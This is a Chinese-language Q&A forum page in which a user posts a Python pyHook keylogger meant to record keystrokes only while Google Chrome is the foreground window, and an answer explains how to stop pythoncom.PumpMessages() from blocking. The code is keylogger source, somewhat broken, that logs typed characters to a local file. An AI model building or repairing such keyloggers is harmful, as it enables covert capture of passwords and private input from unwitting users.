Google Chrome的Python键盘记录器

2024-04-29 08:14:05 发布

您现在位置:Python中文网/ 问答频道 /正文

我用python创建了一个简单的键盘记录程序,但我希望它只在Google Chrome是前台应用程序时运行(我的意思是,只有当用户在Google Chrome中时,键盘记录程序才会挂起。如果用户离开Chrome,键盘记录程序就会停止,以此类推。)它在用户第一次进入Chrome时工作完美,但是,如果前台应用程序已切换到其他应用程序,则键盘记录器将继续。我发现问题出在以下行:pythoncom.Pupmessages()。 代码在这一行之后不再继续。有人有解决办法吗

import win32gui
import win32con
import time
import pyHook
import pythoncom
import threading

LOG_FILE = "D:\\Log File.txt"

def OnKeyboardEvent(event): # on key pressed function
    if event.Ascii:
        f = open(LOG_FILE,"a") # (open log_file in append mode)
        char = chr(event.Ascii) # (insert real char in variable)
    if char == "'": # (if char is q)
        f.close() # (close and save log file)
        exit() # (exit program)
    if event.Ascii == 13: # (if char is "return")
        f.write("\n") # (new line)
        f.write(char) # (write char)

def main():
    time.sleep(2)
    hooks = pyHook.HookManager()
    # Finding the Foreground Application at every moment.
    while True:
        time.sleep(0.5)
        newWindowTile = win32gui.GetWindowText(win32gui.GetForegroundWindow())
        print newWindowTile
    # Cheking if google chrome is running in the foreground.
    if 'Google Chrome?' in newWindowTile:
        hooks.KeyDown = OnKeyboardEvent
        hooks.HookKeyboard()
        pythoncom.PumpMessages()
        time.sleep(2)
if __name__ == "__main__":
    main()

Tags: 用户inimport程序event应用程序iftime
1条回答
网友
1楼 · 发布于 2024-04-29 08:14:05

您需要使用不阻塞的pythoncom.PumpWaitingMessages()pc.PumpWaitingMessages()

这将修复代码无法继续的问题

PumpWaitingMessages: Pumps all waiting messages for the current thread.

PumpMessages: Pumps all messages for the current thread until a WM_QUIT message.

来源:Pythoncom documentation

相关问题 更多 >